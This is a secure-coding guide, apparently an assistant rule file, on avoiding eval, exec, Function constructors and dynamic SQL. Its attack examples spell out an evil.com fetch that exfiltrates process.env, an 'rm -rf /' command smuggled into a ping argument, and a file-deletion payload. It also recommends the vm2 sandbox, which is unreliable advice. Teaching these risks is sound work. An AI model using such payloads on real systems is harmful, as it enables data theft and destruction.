// Prevents dangerous code execution patterns that create security vulnerabilities
# Avoid eval() and exec() Patterns
Never use eval(), exec(), or similar dynamic code execution. They're security nightmares.
## Why This is Dangerous
Dynamic code execution allows:
- **Code injection attacks** - Attackers run arbitrary code
- **Data theft** - Access to sensitive information
- **System compromise** - Full system control
- **Hard to audit** - Static analysis tools can't catch issues
## Dangerous Patterns - Never Use
### JavaScript eval()
```javascript
// NEVER DO THIS
const userInput = req.body.code;
eval(userInput); // User can execute ANY code
const formula = "price * quantity";
const result = eval(formula); // Dangerous
eval("console.log('test')"); // Always dangerous
```
### Function Constructor
```javascript
// NEVER - Same as eval()
const fn = new Function('x', userInput);
fn(data); // Can execute arbitrary code
```
### setTimeout/setInterval with Strings
```javascript
// NEVER
setTimeout("doSomething()", 1000); // Eval in disguise
setInterval(userCode, 100); // Dangerous
```
### Node.js exec/spawn with Unsanitized Input
```javascript
// EXTREMELY DANGEROUS
const { exec } = require('child_process');
exec(`ls ${userInput}`); // Command injection
exec("rm " + filename); // Shell injection risk
```
### Python eval/exec
```python
# NEVER
user_code = request.form['code']
eval(user_code) # Full Python execution
exec("print('test')") # Always dangerous
```
### SQL Query Building
```javascript
// NEVER - SQL Injection
const query = "SELECT * FROM users WHERE id = " + userId;
db.query(query); // Can inject SQL
```
## Attack Examples
### Example 1: Code Injection
```javascript
// Vulnerable code
const calc = (formula) => eval(formula);
// Attacker sends:
calc("require('fs').unlinkSync('/important/file.txt')")
// Deletes files!
```
### Example 2: Data Theft
```javascript
// Vulnerable code
eval(userInput);
// Attacker sends:
"fetch('https://evil.com', {
method: 'POST',
body: JSON.stringify(process.env)
})"
// Steals all environment variables including secrets!
```
### Example 3: Command Injection
```javascript
// Vulnerable code
exec(`ping ${userIP}`);
// Attacker sends:
"8.8.8.8; rm -rf /"
// Executes: ping 8.8.8.8; rm -rf /
```
## Safe Alternatives
### Instead of eval() for Math
```javascript
// Bad
const result = eval("2 + 2 * 3");
// Good - Use a safe math parser
import { evaluate } from 'mathjs';
const result = evaluate("2 + 2 * 3"); // Sandboxed math only
// Or build an expression tree
const ops = { '+': (a,b) => a+b, '*': (a,b) => a*b };
```
### Instead of eval() for Object Access
```javascript
// Bad
const value = eval(`data.${userInput}`);
// Good - Safe property access
const value = data[userInput];
// Or with validation
const allowedProps = ['name', 'email', 'age'];
const value = allowedProps.includes(userInput)
? data[userInput]
: null;
```
### Instead of new Function()
```javascript
// Bad
const fn = new Function('x', 'return ' + userFormula);
// Good - Use a DSL or parser
const operations = {
add: (a, b) => a + b,
multiply: (a, b) => a * b
};
// Or use a safe expression evaluator
```
### Instead of setTimeout with String
```javascript
// Bad
setTimeout("doSomething()", 1000);
// Good
setTimeout(() => doSomething(), 1000);
setTimeout(doSomething, 1000);
```
### Instead of exec() for System Commands
```javascript
// Bad
exec(`ls ${userPath}`);
// Good - Use libraries with proper sanitization
const { readdir } = require('fs/promises');
const files = await readdir(sanitizePath(userPath));
// Or validate and whitelist
const allowedCommands = ['ls', 'pwd', 'whoami'];
if (!allowedCommands.includes(userCmd)) {
throw new Error('Invalid command');
}
```
### Instead of Dynamic SQL
```javascript
// Bad
db.query("SELECT * FROM users WHERE id = " + userId);
// Good - Parameterized queries
db.query("SELECT * FROM users WHERE id = ?", [userId]);
// Or ORM
User.findById(userId);
```
## Safe Patterns
### Use Whitelisting
```javascript
// Define allowed operations
const allowedOperations = {
add: (a, b) => a + b,
subtract: (a, b) => a - b,
multiply: (a, b) => a * b
};
// Use only whitelisted operations
function calculate(operation, a, b) {
if (!(operation in allowedOperations)) {
throw new Error('Invalid operation');
}
return allowedOperations[operation](a, b);
}
```
### Use Sandboxing
```javascript
// For complex cases, use a sandboxed environment
const { VM } = require('vm2');
const vm = new VM({
timeout: 1000,
sandbox: {
// Only expose what's needed
data: safeData
}
});
// Runs in isolated environment
const result = vm.run(userCode);
```
### Validate All Input
```javascript
function sanitizePath(userPath) {
// Remove path traversal attempts
if (userPath.includes('..')) {
throw new Error('Invalid path');
}
// Whitelist characters
if (!/^[a-zA-Z0-9_/-]+$/.test(userPath)) {
throw new Error('Invalid characters');
}
// Ensure within allowed directory
const resolved = path.resolve(userPath);
if (!resolved.startsWith('/allowed/directory')) {
throw new Error('Path outside allowed directory');
}
return resolved;
}
```
## When You Think You Need eval()
### For Configuration
```javascript
// Instead of:
eval(configString);
// Use:
JSON.parse(configString);
// Or YAML, TOML, etc.
```
### For Templates
```javascript
// Instead of:
eval(`\`Hello ${name}\``);
// Use:
`Hello ${name}`; // Template literals
// Or a template engine
```
### For Dynamic Properties
```javascript
// Instead of:
eval(`obj.${prop}`);
// Use:
obj[prop];
```
### For Math Expressions
```javascript
// Instead of:
eval(mathExpression);
// Use:
import mathjs from 'mathjs';
mathjs.evaluate(mathExpression);
```
## Code Review Checklist
Flag for security review if you see:
- [ ] eval()
- [ ] new Function()
- [ ] exec() with user input
- [ ] setTimeout/setInterval with strings
- [ ] Dynamic require() or import()
- [ ] String concatenation in SQL queries
- [ ] Unvalidated user input in system commands
- [ ] innerHTML with user content
- [ ] document.write() with user data
## Safe Alternatives Summary
| Dangerous Pattern | Safe Alternative |
|------------------|------------------|
| `eval(mathExpr)` | Use mathjs or build expression tree |
| `eval("obj." + prop)` | Use `obj[prop]` with validation |
| `new Function(code)` | Use whitelist of allowed functions |
| `exec(userInput)` | Use libraries with proper APIs |
| `"SELECT * FROM " + table` | Parameterized queries |
| `setTimeout("code()", 100)` | `setTimeout(() => code(), 100)` |
| `innerHTML = userInput` | `textContent` or sanitize with DOMPurify |
## The Golden Rules
1. **Never trust user input** - Always validate and sanitize
2. **Use parameterization** - For SQL, shell commands, etc.
3. **Whitelist, don't blacklist** - Define what's allowed
4. **Use safe libraries** - Don't roll your own parser
5. **Sandbox if necessary** - vm2, iframes with restrictions
6. **Validate output too** - Defense in depth
If you think you need eval(), you almost certainly don't.
There's always a safer alternative.6 matches